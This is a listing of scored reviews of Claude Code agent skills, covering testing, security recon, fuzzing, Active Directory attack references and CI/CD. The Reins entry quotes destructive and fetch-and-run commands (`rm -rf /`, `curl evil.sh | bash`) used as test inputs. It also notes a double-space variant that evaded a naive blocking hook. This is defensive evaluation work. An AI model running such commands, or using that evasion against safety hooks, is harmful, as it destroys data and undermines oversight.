- **Build/Update Tests** [setup, 8.8/10] — Risk-scores a file, then writes or fills in the unit/integration/E2E tests it's missing. Repo: https://github.com/enbyaugust/zacs-claude-skills. Card: https://skillproof.dev/skills/build-update-tests. What we found: Ran it twice on a throwaway formatCurrency.ts: the skill-guided pass produced 11 organized P0/P1/P2 tests (null/NaN/rounding/unknown-currency-code edge cases, correct __tests__ path) versus 4 flat tests from an unguided baseline, all 15 passing under real vitest. Its 'CRITICAL' pattern-compliance step reads claude-patterns/testing-patterns.md, vitest-testing-patterns.md and playwright-best-practices.md, which don't ship with the skill and won't exist in a typical consumer repo, so that whole check silently no-ops out of the box.
- **iOS Reverse Engineering** [pass, 8.8/10] — Extract iOS IPA/Mach-O, map APIs, and scan for secrets/vulns with FP filtering Repo: https://github.com/incogbyte/iOS-reverse-engineering-claude-skill. Card: https://skillproof.dev/skills/ios-reverse-engineering. What we found: Ran the bundled deep-secret-scan.sh live against a target seeded with real-shaped keys plus one placeholder: it flagged the AWS AKIA key, Stripe sk_live, and GitHub ghp token as CRITICAL, correctly downgraded the Stripe pk_live publishable key to LOW/client-safe and the Firebase AIza key to MEDIUM, and filtered out AKIAIOSFODNN7EXAMPLE entirely with per-finding entropy scores — none of which a naive grep gives you. The vulnerability auditor separately caught NSAllowsArbitraryLoads, a hardcoded IV, MD5, WebView universal-file access, and a UserDefaults token, each with severity/confidence/FP-likelihood.
- **FFUF Web Fuzzing** [pass, 8.8/10] — ffuf pentest guidance plus a working results-analysis and req.txt helper Repo: https://github.com/jthack/ffuf_claude_skill. Card: https://skillproof.dev/skills/ffuf-web-fuzzing. What we found: Ran the bundled ffuf_helper.py live on a realistic ffuf JSON: it flagged /.git/config, /admin and /backup by keyword and singled out a 900ms /api/v1/users response as a possible SQLi, and its create-req and wordlist subcommands both produced valid output. The skill's mandatory -ac auto-calibration and raw-request IDOR workflow add concrete edge over an unaided baseline that would eyeball the same JSON without the timing-anomaly catch.
- **Reconnaissance & OSINT Automation** [pass, 8.8/10] — Working DNS/subdomain/tech-fingerprint recon scripts for authorized assessments Repo: https://github.com/Masriyan/Claude-Code-CyberSecurity-Skill. Card: https://skillproof.dev/skills/reconnaissance-osint-automation. What we found: Ran all three bundled scripts live against example.com: dns_recon correctly parsed SPF -all, DMARC p=reject and DKIM, and detected the Cloudflare nameservers refusing AXFR zone transfer; tech_fingerprint identified Cloudflare WAF/CDN and listed five missing security headers (HSTS, CSP, X-Frame-Options...). That structured, accurate JSON clearly beats a manual dig/curl baseline. The v3.0 'enhancements' (subdomain takeover, cloud-bucket enum, JA4) are prose guidance only with no code, and crt.sh timed out during passive enum though the script degraded gracefully.
- **Spec-Driven Test** [pass, 8.8/10] — Three-agent, spec-first E2E web testing with methodology-graded test cases Repo: https://github.com/Loveforwa/spec-test.skill.git. Card: https://skillproof.dev/skills/spec-driven-test. What we found: Exercised the test-design phase on a login feature: following the template forced a path-typed coverage table, a resource-dependency matrix that distinguishes intentional cumulative dependency from a deadlock, per-case teardown that closes the loop, and an exhaustive scenario self-check covering rate-limit lockout, email-enumeration protection and HttpOnly/Secure cookie assertions read via context.cookies() rather than document.cookie. An ad-hoc no-skill baseline produced a flat five-case list with no state verification, teardown, or invariant coverage. The gap is real and specific, though a full three-agent browser run was out of scope here.
- **Godot** [pass, 8.8/10] — Test, build, and ship Godot 4.x games with GdUnit4 and PlayGodot Repo: https://github.com/Randroids-Dojo/Godot-Claude-Skills. Card: https://skillproof.dev/skills/godot. What we found: The headless test-runner command and the entire PlayGodot API documented in SKILL.md match the repo's own CI workflow and its working example-project tests verbatim, so the reference is accurate rather than guessed. PlayGodot is an obscure custom-fork automation library a no-skill baseline cannot reproduce from memory; with the skill you get the real get_board_state/click/wait_for_node calls that the shipped example test actually uses. Bundled validate_project.py and run_tests.py are genuine working tools that use the correct res://addons/gdUnit4/bin/GdUnitCmdTool.gd invocation. Live test execution was unmeasured here because no Godot binary was installed, and PlayGodot additionally requires building a custom Godot fork, which the docs state honestly.
- **Agent Browser** [pass, 8.4/10] — CLI cheat-sheet for scripted Playwright browser automation: navigate, fill, screenshot, extract Repo: https://github.com/code-yeongyu/oh-my-openagent. Card: https://skillproof.dev/skills/agent-browser. What we found: Its snapshot workflow is built to return one targeted element instead of a 65KB accessibility-tree dump, but the sandbox blocked running the actual npm package, so that win could only be inferred, not confirmed.
- **Bugcrowd Reporting** [pass, 8.4/10] — Applies Bugcrowd-specific VRT categorization and severity-override reporting tactics. Repo: https://github.com/elementalsouls/Claude-BugHunter. Card: https://skillproof.dev/skills/bugcrowd-reporting. What we found: A responsible-disclosure report-writing skill layering Bugcrowd-specific tactics (VRT category selection, manual severity override, severity-request paragraph, OOS-clause rebuttals) on top of a generic report-writing skill; tested on a fabricated benign reflected-XSS-to-ATO finding with no real program targeted. Verbatim install is clean (single-file SKILL.md, strict-YAML frontmatter, no broken refs) and the frontmatter triggers precisely on Bugcrowd-filing scenarios. In the A/B, the skill arm was clearly better: it opened with the exact literal 'Severity request — please review carefully before applying VRT default' header that pre-empts triager auto-close and followed the skill's severity-request template structure verbatim, while the base arm produced a solid but generic severity argument that missed that recognized-phrase convention.
- **Bug Fix Protocol** [pass, 8.4/10] — Forces a red-test-first bug fix plus a mandatory audit of why the test suite missed it. Repo: https://github.com/CodeAlive-AI/ai-driven-development. Card: https://skillproof.dev/skills/bug-fix-protocol. What we found: Ran a real red-green cycle on a discount-calc bug: baseline just silently patched the null-pct case, while following the skill produced a checked-in pytest regression test plus a concrete step-8 finding ('no None-guard test existed - add parametrized coverage + a type hint') that the baseline never produces.
- **Accessibility Audit Websites** [pass, 8.4/10] — WCAG-style checklist for headings, forms, contrast, focus, ARIA, and keyboard nav. Repo: https://github.com/TheGoat395/Codex-Skills. Card: https://skillproof.dev/skills/accessibility-audit-websites. What we found: Ran it against a snippet with an icon-only close button, a placeholder-as-label input, and outline:none on a link; it caught all three via the bundled checklist, but the guide is a generic WCAG checklist with no bundled scanner or named tool (no axe, Lighthouse, Pa11y) — a capable assistant catches most of the same issues unprompted, so the lift is modest.
- **Visual Tester** [setup, 8.4/10] — Annotated-snapshot UI reviews with severity-tagged findings via agent-browser. Repo: https://github.com/incubrain/foundry. Card: https://skillproof.dev/skills/visual-tester. What we found: Its mandated Findings Format (CRITICAL/WARNING/INFO + @eN refs) turns a vague 'the button looks off' review into a scannable triage report — but the wrapper script (.claude/scripts/visual-review.sh) and the data-testid selector table it references live in the source repo's own project config, not inside skills/visual-tester itself, so a bare copy silently can't run until you port both by hand.
- **Skill Scorer** [pass, 8.4/10] — Rubric-based 100-point quality scorer for Claude/Cursor/OpenClaw SKILL.md files, with anti-fabrication rules. Repo: https://github.com/AndrewNgGirl/SkillLens. Card: https://skillproof.dev/skills/skill-scorer. What we found: The backing rubric.yaml is a real, deep 100-point spec (5 pillars weighted 25/15/15/20/25, each with named sub-dimensions), and the skill's own contract bans claiming 'Deep Review 完成' or any score not printed verbatim by the official CLI — meta-honesty baked into the tool that reviews other skills.
- **AI/ML Attack Surface** [pass, 8.4/10] — Grep-driven checklist for ML deserialization, prompt injection, and untrusted model loading Repo: https://github.com/allsmog/vuln-scout. Card: https://skillproof.dev/skills/ai-ml-attack-surface. What we found: Fed it a 29-line file with torch.load, pickle.load, np.load(allow_pickle=True) and an f-string prompt-injection pattern; its own grep battery, run for real, caught all 4 real issues (the dedicated prompt-injection regex actually missed the case and it only surfaced via the generic messages/system grep — a real gap in its own suggested command) and mapped each hit to a CWE plus a concrete safe alternative (weights_only=True, skops.io, safetensors).
- **Test-Driven Development (Addy Osmani)** [setup, 8.4/10] — Enforces RED-GREEN-REFACTOR and a test-first 'Prove-It Pattern' for every bug fix or behavior change. Repo: https://github.com/kevinnft/ai-agent-skills. Card: https://skillproof.dev/skills/addyosmani-tdd. What we found: Actually ran the Prove-It Pattern on a planted discount-calculator bug in Node: the reproduction tests failed 3/3 against the buggy implementation ($100 at 20% returned 20 instead of 80) before the fix, then passed 3/3 after — a genuinely stronger, evidence-backed artifact than the baseline's silent patch-and-done. Docked to 'setup' because the SKILL.md points to `references/testing-patterns.md` for detailed patterns, but that file returns a 404 and doesn't exist anywhere in the repo, and the referenced 'browser-testing-with-devtools' companion is a sibling skill folder a verbatim per-skill copy won't carry along.
- **Database Sentinel** [pass, 8.4/10] — Multi-backend DB security auditor for Supabase and MongoDB (RLS, exposed keys, CVEs) Repo: https://github.com/Farenhytee/database-sentinel. Card: https://skillproof.dev/skills/database-sentinel. What we found: Ran its detection sweep and Supabase anti-pattern catalog against a planted project: it correctly identified the backend, flagged the NEXT_PUBLIC_..._SERVICE_ROLE_KEY as CRITICAL (the anon-vs-service_role distinction a naive review misses), the USING(true) policy, and the RLS-off table, each tied to a Splinter lint ID, CVE-2025-48757, and ready fix SQL. Its headline claim, testing whether policies actually prevent access, needs a live database, so that dynamic layer stayed unmeasured. Note the frontmatter advertises Firebase, Postgres and MySQL audits that the body admits are Phase 3-5 not-yet-implemented.
- **K6** [pass, 8/10] — k6 load-testing reference and scenario/threshold patterns — k6 only, not Locust as the old card claimed. Repo: https://github.com/grafana/skills. Card: https://skillproof.dev/skills/load-test-planner. What we found: Ran both a plain constant-VU script and a skill-guided ramping-VU-plus-threshold script live with a real k6 2.1.0 install — the threshold-gated version is genuinely closer to a real SLA check, though 4 of its 5 references/*.md links point at files that don't exist in this folder.
- **Browser Testing with DevTools** [setup, 8/10] — Drives real-browser tests through Chrome DevTools MCP to catch DOM and console issues. Repo: https://github.com/addyosmani/agent-skills. Card: https://skillproof.dev/skills/browser-testing-with-devtools. What we found: Clean single-file install — verbatim git clone + cp worked with no fixes and the frontmatter parses strictly — but the skill is inert without a separately configured chrome-devtools MCP server and a running Chrome, a hard external dependency the docs state honestly up front. In an A/B live-browser debugging task (reproduce a ReferenceError, fix, re-verify) both the skill arm and a no-skill baseline found and fixed the bug with live verification; the skill's edge was process rigor — its REPRODUCE→INSPECT→DIAGNOSE→FIX→VERIFY workflow plus before/after screenshot evidence — rather than a better diagnosis. Well-written, honest docs with unusually strong security guidance (profile isolation, untrusted browser content).
- **Create Skill Test** [pass, 8/10] — Scaffolds eval.yaml test files with scenarios and rubrics for agent skills. Repo: https://github.com/dotnet/skills. Card: https://skillproof.dev/skills/create-skill-test. What we found: Tested by scaffolding an eval.yaml for an inline csv-summarizer skill (1 activation + 2 non-activation scenarios). Verbatim git-clone+cp install landed the single-file skill at the exact documented path with valid frontmatter. A/B: the skilled output used the correct documented schema -- real assertion type names (output_contains/output_matches/exit_success/file_not_exists), proper setup.files blocks, no stray keys -- while the from-scratch base output covered one extra non-activation case but used invalid assertion types (contains/not_contains) and undocumented top-level skill: and per-scenario description: keys that would fail the repo's static validator.
- **Dev Dry Run** [setup, 8/10] — Smoke-tests the harness-evolver pipeline offline (syntax/argparse/cross-ref) or online with a mock agent. Repo: https://github.com/raphaelchristi/harness-evolver. Card: https://skillproof.dev/skills/dev-dry-run. What we found: Ran its offline check against 3 planted tool scripts (one with a syntax error, one missing from the evolve skill's references) and it caught both real breakages a plain 'just run the files' pass missed; but a bare cp of just this folder leaves it stranded without the sibling tools/ dir and $HOME/.evolver venv it silently assumes.
- **WP Admin Browser** [setup, 8/10] — Drives real WordPress admin actions via Chrome DevTools MCP with safety rails. Repo: https://github.com/mralaminahamed/wp-dev-skills. Card: https://skillproof.dev/skills/wp-admin-browser. What we found: Its 'never touch the main admin, always spin up then delete a temp admin' rule and menu-only navigation checklist close real gaps in agentic WP-admin automation, but the skill is unusable without Chrome DevTools MCP wired up plus a live WordPress admin — this sandbox had neither (no Docker for a real install; WordPress Playground's in-browser WASM boot stalled at ~65% for 30+ seconds and never finished), so Stage 3 is a documented process comparison, not a live run.
- **Semantic Trap Detector** [pass, 8/10] — Meta-skill that scans a SKILL.md's wording for words with over-wide semantic boundaries. Repo: https://github.com/Jumbo-WJB/semantic-trap-detector. Card: https://skillproof.dev/skills/semantic-trap-detector. What we found: Ran its own workflow on a test sentence and it correctly flagged 分析/风险/建议 with trap IDs and concrete replacements — genuinely more actionable than an unstructured critique — but the docs claim '17+ Chinese word pairs' while the actual lexicon.md file ships only 13, and the headline '89.3% vs 62.1%, 27-point' accuracy stat cites an unpublished 56-case test set with no data or link anywhere in the repo.
- **Scientific Hypothesis Generation** [setup, 8/10] — Turns an observation into 3-5 literature-grounded, falsifiable hypotheses with experiment designs and predictions. Repo: https://github.com/TobiasBlask/open-paper-machine. Card: https://skillproof.dev/skills/hypothesis-generation. What we found: The reasoning workflow (steps 1-7) produced a genuinely rigorous A/B win: a literature-grounded set of 4 falsifiable hypotheses with a randomized-encouragement design that specifically isolates the causal story from a self-selection confound the baseline only mentioned in passing. But step 8 calls a 'MANDATORY' figure-generation script that physically lives in a sibling scientific-schematics skill folder (not included in a verbatim copy) and that script itself silently requires Gemini API access ("Nano Banana 2" + Gemini 3.1 Pro Preview) never disclosed in this skill's frontmatter.
- **Attack Path Architect** [setup, 8/10] — Turns recon data into MITRE ATT&CK-mapped kill chains, scored and ranked. Repo: https://github.com/Orizon-eu/claude-code-pentest. Card: https://skillproof.dev/skills/attack-path-architect. What we found: The two bundled scripts that exist (classify_assets.py, generate_attack_tree.py) really work — ran them on a 3-host fixture and got a genuine MITRE-tagged, feasibility/impact/stealth-scored attack tree (T1190, T1552.005, etc.) far beyond a plain-prose baseline. But Step 5 and Step 7 of the SKILL.md call scripts/find_chains.py and scripts/generate_attack_report.py, which do not exist anywhere in the repo (confirmed 404 on raw GitHub) — the model has to invent chaining analysis and report formatting itself.
- **Foreman Debug** [pass, 8/10] — Root-cause-first debugging discipline: reproduce, trace to source, fix with a test Repo: https://github.com/VisionForge-OU/foreman. Card: https://skillproof.dev/skills/foreman-debug. What we found: On a live failing pytest (KeyError: 'qty', expected total 20.0), the careless no-skill reflex of defaulting the missing key to 0 silenced the crash but returned 10.0 and still failed; following the skill's 'read the assertion completely, trace the bad value to its source' rule pointed to a default of 1, returning 20.0 and a fully green suite. Honest and upfront that it's an obra/superpowers adaptation built to run inside foreman-tdd, so the foreman-test verification hooks are inert on a standalone install.
- **AD Attacks Reference** [setup, 8/10] — Active Directory attack reference: BloodHound, Kerberos, ACL abuse, ADCS ESC1-8 Repo: https://github.com/mukul975/Threatswarm. Card: https://skillproof.dev/skills/ad-attacks. What we found: Accurate, well-organized cheatsheet — checked the Cypher property names (dontreqpreauth, hasspn), the ACE-to-exploit table, and the ESC1-8 certipy flows and they are correct and ready to paste. Scored unmeasured against baseline: exercising it needs a live AD domain plus impacket/certipy/BloodHound, so a delta over what the model already recalls could not be demonstrated.
- **Cultivar** [setup, 8/10] — CLI that measures whether an agent skill actually beats a no-skill baseline Repo: https://github.com/pinecone-io/cultivar. Card: https://skillproof.dev/skills/cultivar. What we found: Installed the CLI with uv and its packaged 'cultivar hello' smoke task ran end-to-end against the real Claude runner, writing per-run JSON, Markdown, and JSONL traces plus a workdir exactly as documented. The harness itself is solid, but the actual payoff (a graded with-skill vs without-skill comparison) needs an authed agent CLI plus an ANTHROPIC_API_KEY for the grader; here the runner returned a 401 and grading was skipped, so the headline delta stays unmeasured. The skill is a faithful, accurate command reference over a genuinely working tool. Real setup friction, a paid key plus a logged-in runner, sits between install and any result.
- **Drift Testing** [setup, 7.6/10] — Generates and runs OpenAPI-driven contract tests via SmartBear's Drift CLI — but `drift verify` hard-requires a PactFlow account login, undisclosed in the skill. Repo: https://github.com/pactflow/pactflow-agent-skills. Card: https://skillproof.dev/skills/api-contract-testing. What we found: extract_endpoints.py and check_coverage.py ran for real against a bundled fixture spec and caught 4 of 7 missing response-code tests (401/403/404) that a hand-written baseline skipped — but `drift verify` itself refused to run with exit code 3 until we logged into a PactFlow tenant, a requirement the SKILL.md never mentions.
- **Logic MSO Analysis** [setup, 7.6/10] — Decodes UART/SPI/I2C/1-Wire from Saleae Logic MSO binary exports for CTF and hardware RE. Repo: https://github.com/BrownFineSecurity/iothackbot. Card: https://skillproof.dev/skills/logicmso. What we found: Built a synthetic 2-byte ('Hi') UART capture and ran the SKILL.md's own decode_uart_byte() verbatim: its center-of-bit-period sampling correctly recovered the first byte where a naive from-scratch baseline sampler got it wrong ('X' instead of 'H') — but the surrounding multi-byte loop example in the same doc has a real bug that causes it to silently stop after one byte on any multi-byte capture.
- **CI/CD and Automation** [setup, 7.2/10] — Sets up or modifies CI/CD build and deployment pipelines with quality gates. Repo: https://github.com/addyosmani/agent-skills. Card: https://skillproof.dev/skills/ci-cd-and-automation. What we found: Verbatim install (git clone + cp of a single SKILL.md) worked with no surgery; strict-YAML frontmatter is valid and there are no bundled scripts or external dependencies. A/B test on a realistic task (author a fail-fast GitHub Actions CI workflow with caching for a Node/TS project) showed the skill and bare model produce equivalent-quality pipelines — the skill supplies solid templates and checklists but no capability the model lacks. Description triggers accurately, though the body claims broader scope (CI-failure debugging, cross-references to sibling skills) than the frontmatter advertises, and 'Automates CI/CD pipeline setup' oversells a pure guidance/reference document.
- **WCAG Audit Patterns** [setup, 7.2/10] — Runs WCAG 2.2 accessibility audits with automated checks and remediation guidance. Repo: https://github.com/wshobson/agents. Card: https://skillproof.dev/skills/wcag-audit-patterns. What we found: Verbatim clone+copy install worked cleanly: valid frontmatter and the single referenced file (references/details.md, 473 lines of WCAG checklists, remediation snippets, axe-core/Playwright examples) present and substantive; no hidden API keys, only free tooling mentioned. Description is well-scoped to accessibility auditing and remediation, and the docs are honest (explicitly notes automated tools catch only 30-50% of issues). A/B on a signup-form audit was a wash: both arms found 9 correctly-cited violations with equivalent fixes, each missing one the other caught — the skill arm missed 2.5.8 Target Size (new in WCAG 2.2, absent from the skill's own reference), so the skill adds structure but no measurable lift over base-model WCAG knowledge.
- **IoTNet** [setup, 7.2/10] — PCAP/live-capture wrapper that fingerprints MQTT, CoAP, Zigbee, Modbus and flags unencrypted or weakly-authed IoT traffic. Repo: https://github.com/BrownFineSecurity/iothackbot. Card: https://skillproof.dev/skills/iotnet. What we found: SKILL.md tells the model to shell out to `iotnet`, but the tool's core module (tools/iothackbot/core/iotnet_core.py) imports pyshark for all PCAP/live parsing -- a dependency the README's pip-install line and the skill body never mention, so a by-the-book install per the docs installs successfully and then fails at first real run (verified: no tshark, no pyshark in a clean environment, ImportError).
- **CI/CD Pipelines** [setup, 7.2/10] — CI/CD design, caching, DevSecOps scanning and pipeline debugging Repo: https://github.com/ahmedasmar/devops-claude-skills. Card: https://skillproof.dev/skills/ci-cd. What we found: Task: audit and fix a real workflow (.github/workflows/ci.yml from hands-on-deck repository — pytest + LibreOffice + Playwright without cache). Baseline analysis without skill yielded 7 correct findings (no pip/apt/playwright cache, no timeout-minutes, no concurrency, no permissions, floating tags @v4/@v5). The standard scripts/pipeline_analyzer.py found only 1 of them ('No dependency caching detected') — meaning it lost to baseline analysis; it exclusively searches for 'uses: actions/cache' and doesn't know about cache:'pip' in setup-python, so on the skill's OWN python-ci.yml template (where cache:'pip' is in 4 places, and actions/cache is 0), it also reports 'No dependency caching detected' and gives 2 false recommendations for my already fixed workflow. Version check flags only @v1/@v2, causing current gitleaks-action@v2 to be marked 'outdated', and the truly dangerous trufflehog@main to be missed — despite SKILL.md's own checklist requiring actions to be pinned to SHA. The skill's value lies elsewhere: 3,456 lines of references/ and 10 out of 10 valid YAML templates with cache/timeout-minutes/concurrency/permissions/matrix — a working workflow (2 jobs, fail-fast lint, 4 cache mechanisms, 5/20 min timeouts) was assembled based on their checklists, which parses and is demonstrably better than baseline prose. Separate breakage: SKILL.md refers to templates/github-actions/*.yml, but they are located in assets/templates/ — all 10 paths in the decision tree are broken, hence verdict setup. Stage 0 clean: SKILL.md (496 lines), 5 reference files, and pipeline_analyzer.py read — only local YAML parsing, no network or secrets.
- **Weak-Agent Test (docx-cli Harness)** [setup, 7.2/10] — Adversarial Haiku harness that stress-tests docx-cli on 6 real document tasks Repo: https://github.com/kklimuk/docx-cli. Card: https://skillproof.dev/skills/weak-agent-test. What we found: This is an internal, repo-specific harness (frontmatter metadata internal:true): actually running it needs the full docx-cli checkout, a fresh bun build, the Claude Workflow runtime, six spawned Haiku sub-agents, and Microsoft Word for rendering, so its output could not be exercised and no delta was measured. Copying just the skill folder leaves it non-runnable because the central weak-agent-test.js workflow it invokes lives outside the skill dir under .claude/workflows/. The security scan was clean (the metrics script only reads local run transcripts). The SKILL.md is meticulous and honest about every prerequisite.
- **A/B Test Analysis** [setup, 6.8/10] — Evaluates A/B test results for significance, sample size, and ship/stop recommendations. Repo: https://github.com/phuryn/pm-skills. Card: https://skillproof.dev/skills/ab-test-analysis. What we found: Verbatim install is clean and the trigger scope is tight, but the SKILL.md sample-size formula n=(Z^2*2*p*(1-p))/MDE^2 omits the z-beta power term, so it understates required n by roughly 2x (~4,780 vs ~10,350 visitors/arm here) and would rubber-stamp a genuinely underpowered test. On the checkout-CTA A/B (8.20% vs 9.30%, +13.4% relative), both the skill and a plain base agent independently landed the same correct read: p=0.0516 (borderline, 95% CI -0.01pp to +2.21pp barely crossing zero), no SRM, test underpowered for its own effect, and a guardrail AOV dip of -2.66% -> EXTEND, do not ship yet. The skill added no statistical accuracy or decision quality over the un-skilled baseline.
- **API Fuzzing (Bug Bounty)** [setup, 6.8/10] — Fuzzes REST and GraphQL APIs to find IDOR and other bug-bounty-worthy flaws. Repo: https://github.com/zebbern/claude-code-guide. Card: https://skillproof.dev/skills/api-fuzzing-bug-bounty. What we found: An authorized-pentest / bug-bounty API methodology guide (recon, auth testing, IDOR/BOLA, injection, GraphQL) — tested defensively against a local throwaway API with a deliberately planted IDOR, localhost-only, no external targets. Verbatim clone+copy install worked first try; the skill is a single self-contained SKILL.md checklist (curl-driven manual technique, not an automated scanner) with accurate tool references and no automation overclaims, though it ships no legal/scope disclaimer for a dual-use offensive guide. In A/B both arms caught the planted IDOR (Alice's token reading Bob's order, leaking card_last4) bidirectionally with identical negative-control discipline and the same 403/404 ownership-check fix; the skill added a recon sweep and explicit checklist framing but produced no materially better catch than the base's direct audit.
- **Kernel CVE Analysis** [setup, 6.8/10] — Android/AOSP kernel CVE lookups by version, branch, or date via the remote Dr. Binary vulnerability database. Repo: https://github.com/DeepBitsTechnology/claude-plugins. Card: https://skillproof.dev/skills/kernel-cve-analysis. What we found: The skill text is a clean router to six well-named remote tools, but this session had no drbinary MCP connection, so the flagship 'find exploitable CVEs in a branch+date' query could not actually be executed -- confirmed the skill only works once the full plugin (not the bare SKILL.md) registers .mcp.json against mcp.deepbits.com.
- **BTP and BA2 CLI** [setup, 6.4/10] — CLI command reference for uploading firmware, scanning, and pulling BA2 archives on Binarly's BTP. Repo: https://github.com/vulhunt-re/skills. Card: https://skillproof.dev/skills/btp-ba2-cli. What we found: The command syntax reads correctly and specifically, but `vulhunt-ce` — the CLI binary every command in this skill depends on — is never mentioned anywhere else in the repo, has no install instructions, and the repo's own .gitmodules (which its README tells you to `git submodule update --init --remote`) is completely empty, so there's no discoverable path to actually obtaining the tool.
- **Google Ads Copy** [setup, 5.2/10] — Generates and A/B tests Google Ads headlines and descriptions to improve CTR. Repo: https://github.com/nowork-studio/NotFair. Card: https://skillproof.dev/skills/google-ads-copy. What we found: Broken verbatim install: the card's `cp -r NotFair/google-ads/copy ~/.claude/skills/google-ads-copy` copies only the leaf copy/ folder, but SKILL.md hard-depends on sibling ../shared/, ../manage/, and ../audit/ dirs the command never copies, so preamble and half the references dangle until you manually copy those trees (rescued for testing; the repo's own docs use a plugin-marketplace install instead). Tested on an inline emergency-dentist RSA brief with hard 30/90-char limits. A/B: skill vs. base both produced compliant, forbidden-claim-free copy covering the same service/offer/trust/CTA angles, with the base arm's version marginally tighter, so the skill's framework did not beat a no-skill baseline here (output 5/10). Also note the shared preamble gates all use behind a paid third-party MCP (notfair.co OAuth), undisclosed on the card.
- **Arbor** [fails, null/10] — Iteratively improves a real artifact against an evaluator using hypothesis tree refinement. Repo: https://github.com/K-Dense-AI/scientific-agent-skills. Card: https://skillproof.dev/skills/arbor. What we found: Tested install (clean verbatim clone; strict-YAML frontmatter and all four references plus the pure-stdlib scripts/tree.py present and functional), trigger battery against a precise use-case description, and a live output A/B on a spam-classifier dev/test-gap task run through the full hypothesis-tree loop (init/observe/ideate/dispatch/backpropagate/prune/merge-gate). The skill arm produced a correct, fully-auditable result (dev 50->100, test 30->90) with insight propagation and a held-out merge gate, but on this small 3-candidate task the base arm's ad-hoc iteration matched it on dev and edged it on the actual held-out test (dev 100/test 100 vs the skill's dev 100/test 90). The HTR structure added genuine auditability but did not yield a better number here, since the toy budget never exercised the many-experiment, long-horizon regime the skill is built for.
- **Ipaship Audit** [fails, null/10] — Sends your .ipa/.apk to ipaship.com's hosted AI to flag App Store/Play policy violations. Repo: https://github.com/atharvnaik1/ipaship-audit. Card: https://skillproof.dev/skills/ipaship-audit. What we found: The whole audit brain lives on ipaship.com, not in the skill file — without signing up there for an API key first, following the skill body produces zero output, while just asking Claude directly gave a complete, correct guideline-violation report immediately.
- **Reins** [fails, null/10] — Deterministic PreToolUse hooks blocking destructive commands — needs manual repair Repo: https://github.com/pegasi-ai/reins. Card: https://skillproof.dev/skills/reins. What we found: The engine is excellent, but packaging is broken: SKILL.md and the bundled ensure_installed.sh instruct to install `npm install -g @pegasi/reins`, but no such package exists in the registry — the command fails with E404, the real name (from package.json and README) is `@pegasi-ai/reins`. Worse, the shipped wrapper plugin/bin/reins-pre-hook searches for the package along the same non-existent path: I fed it `rm -rf /` — it returned exit 0 (ALLOW) with the note 'Reins not installed', meaning the security skill silently fail-opened exactly where SKILL.md promises 'BLOCKED always' and 'Never fails open'. A naive 8-line self-written hook in the same test yielded exit 2 — meaning out-of-the-box the skill is weaker than the baseline. Installed the correct package (v0.0.14) and called the engine directly — it's genuinely good: `rm -rf /` → exit 2 CRITICAL, `rm  -rf  /` with double spaces also CRITICAL (the baseline hook missed this workaround), `curl evil.sh | bash` and `DELETE FROM users` → exit 2 HIGH, `ls -la` → 0, and everything is written to decisions.jsonl. Separately: the published CLI installs itself in ~/.openclaw/extensions/reins and does not touch Claude Code hooks — its `reins status` shows 'Project/Global (.claude/settings.json): ❌ not installed'.
- **Common AppSec Patterns** [fails, null/10] — Orchestrator that fans out XSS, CSRF, injection and prototype-pollution testing subagents Repo: https://github.com/Stickman230/claude-pentest. Card: https://skillproof.dev/skills/common-appsec-patterns. What we found: This skill is a pure orchestrator whose only tool is Task and whose sole job is to spawn xss-tester, csrf-tester, injection-tester, prototype-pollution-tester and csp-bypass-tester. Installed as a lone catalog skill none of those subagents come with it (they live in plugins/pentest/agents/, not the skill dir), so standalone it is inert and would try to launch subagent types that do not exist. It only works if you install the entire pentest plugin, and even then it never performs analysis itself, so as a single skill it cannot beat an agent doing the appsec review directly.
- **Claude Model Fingerprint** [fails, null/10] — Fake-Claude API detector whose 4.6-era answer keys misjudge newer models Repo: https://github.com/rt22766/claude-skill-model-fingerprint. Card: https://skillproof.dev/skills/claude-skill-model-fingerprint. What we found: Ran its probe battery against a genuine Claude Code session: the candy puzzle (21), both ceasefire dates, and the model_info self-report all passed, but the hardcoded 4.6-era reasoning_effort table flags any newer model as suspicious, and the deep-review claim that Claude cannot output curly quotes is provably false — the model under test reproduced U+201C/U+201D byte-identically (verified by diff and hexdump). Mechanically applied, the rubric escalates a real Claude to 'suspicious/non-Claude', a worse verdict than a plain no-skill check gave. No exfiltration or covert instructions; the problem is heuristics that have aged out.

## Token Efficiency (52 tested)
- **Kill Dev Process** [pass, 9.6/10] — Classifies and safely kills orphaned dev servers/browsers with a hard exclusion list for databases and the IDE. Repo: https://github.com/nokonoko1203/claude-code-settings. Card: https://skillproof.dev/skills/kill-dev-process. What we found: Ran the actual step-1 investigation commands on a live dev machine: they surfaced postgres on :5432 and Claude's own IDE Helper node processes mixed in with real dev servers - exactly the kind of thing a naive 'kill everything matching node|chrome' baseline would have blindly nuked, which the skill's safety-check step explicitly excludes.
- **Clean Cache** [pass, 9.6/10] — Tiered, confirmation-gated cache cleanup for Flutter/Android/iOS/Node workspaces — verified not to touch lockfiles or source. Repo: https://github.com/addxai/enterprise-harness-engineering. Card: https://skillproof.dev/skills/clean-cache. What we found: Actually ran the bundled scan-and-delete bash commands against a throwaway workspace with a fake node_modules, android build/, and .dart_tool/: L1 cleanup wiped only the build artifacts and left package-lock.json, src/, and node_modules exactly where the skill's own 'Red Lines' table says they must stay — the safety claims are real, not just documented.
- **Agent Prompt Engineering** [pass, 9.6/10] — A five-part checklist (role, paths, deliverables, constraints, comms) for writing sub-agent prompts that need zero follow-up. Repo: https://github.com/hesreallyhim/really-claude-code. Card: https://skillproof.dev/skills/agent-prompt-engineering. What we found: Drafted a spawn prompt for a 3-agent marketing-site redesign both ways: the baseline copy-agent prompt was one vague sentence ('improve the copy'), the skill-directed version had absolute file paths to read, two deliverables with exact output paths and acceptance criteria, a CRITICAL constraint not to invent pricing figures, and a reporting protocol -- exactly the gap the skill claims to close.
- **Tidy Skill** [pass, 9.6/10] — Read-only hygiene audits that stop agents littering repos with plan.md/todo.md junk. Repo: https://github.com/Phoenix0531-sudo/tidy-skill. Card: https://skillproof.dev/skills/tidy-skill. What we found: Ran score_repo_hygiene.py on a throwaway repo with plan.md/todo.md/summary.md in root — it returned a real 57/100 'Needs tidy-up' score with a dimension breakdown and named the 3 suspicious files, something a baseline answer only eyeballs.
- **ACM Config** [pass, 9.6/10] — Interactive Q&A that writes a validated ~/.claude/claudikins-acm.conf for the Claudikins context-handoff tool. Repo: https://github.com/elb-pr/claudikins-automatic-context-manager. Card: https://skillproof.dev/skills/acm-config. What we found: Fully self-contained single-file skill; its real value is enforcing an exact serialization contract (file path, variable names, and a minutes-to-seconds conversion for SNOOZE_DURATION) that the tool's other scripts silently depend on and that a baseline agent has no way to know.
